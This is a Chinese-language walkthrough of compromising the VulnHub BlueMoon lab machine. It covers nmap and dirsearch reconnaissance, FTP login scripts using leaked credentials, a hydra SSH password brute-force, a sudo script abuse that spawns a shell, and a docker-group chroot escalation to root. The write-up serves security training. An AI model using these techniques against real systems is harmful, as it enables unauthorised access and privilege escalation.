VulnHub:BlueMoon

准备工作

靶机下载地址,下载完成后使用virtualbox打开虚拟机,网络设置修改为桥接。

信息收集

主机发现

攻击机ip:192.168.31.218,nmap扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip为:192.168.31.228

端口扫描

nmap 192.168.31.228 -A -p- -T4

目标靶机开放了21,22,80端口。

  1. 21端口ftp服务,vsftpd 3.0.3

  2. 22端口ssh服务,OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

  3. 80端口http服务,Apache httpd 2.4.38

web站点信息收集

访问http服务,首页如下:

没什么信息,目录扫描dirsearch -u http://192.168.31.228,没信息,换个字典。

dirsearch -u http://192.168.31.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

找到一个隐蔽的目录hidden_text。访问结果如图:

Thank You指向另一个路径,访问得到一个二维码。

扫描内容如下:

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF

渗透

FTP登录

根据web信息收集中二维码扫描内容,可知涉及FTP的简单的shell脚本的使用,ftp用户名是userftp,密码是ftpp@ssword,直接登录即可。这里我写的shell脚本,来显示文件列表(纯纯试一下ftp的简单shell脚本如何使用,都给出了用户名和密码直接登录即可,最终目的就是拿到ftp服务器中的两个文件)

#!/bin/bash
ftp -inv 192.168.31.228 << EOF  # EOF是一个分界标志
user userftp ftpp@ssword
binary                          # 设定传输方式为二进制方式
pwd                             # 查看FTP服务器上的当前工作目录
ls                              # 显示文件列表
bye                             # 退出ftp会话
EOF

执行shell脚本得到ftp当前工作目录,和文件列表。

修改一下shell脚本,下载FTP服务器上的文件。

#!/bin/bash
ftp -inv 192.168.31.228 << EOF  # EOF是一个分界标志
user userftp ftpp@ssword
binary  
get information.txt
get p_lists.txt
bye                             
EOF

执行脚本得到一个字典文件p_lists.txt和information.txt,information.txt内容如下:

Hello robin ...! I'm Already Told You About Your Password Weekness. I will give a Password list. you May Choose Anyone of The Password.

存在一个用户robin,并给出了密码字典,爆破吧。

ssh爆破

给出了用户名和字典,hydra爆破ssh。

hydra -l robin -P p_lists.txt ssh://192.168.31.228

得到密码:k4rv3ndh4nh4ck3r

ssh登录过程中有点小问题,提示WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! ,解决方法如下:

ssh-keygen -R 192.168.31.228

之后正常登录即可。

get user1.txt!

接下来找到了user2.txt,但是仅jerry才有读权限。

提权

sudo提权

sudo提权,sudo -l,发现可以通过/home/robin/project/feedback.sh提权到jerry。

feedback.sh当前仅有rx权限,放弃写入反弹shell的方法,直接执行,提示需要输入名字和目标机器。

sudo -u jerry ./feedback.sh

Enter Your Name:随便填一个
Enter You FeedBack About This Target Machine:/bin/bash

成功切换到jerry,注意到jerry用户加入了docker用户组。

获得一个交互式shell。

python3 -c 'import pty;pty.spawn("/bin/bash")'

get user2.txt!

docker容器提权

当前jerry用户是普通用户,且加入了docker组。有一个提权方式——普通用户利用docker容器提权。

补充:为什么能利用docker容器提权?因为用户创建一个docker容器后,容器内默认是root账户,会自动在命令前添加sudo。一个普通用户只要加入docker组就等同于root。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

提权成功。

get root.txt!🎆

  • 13
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值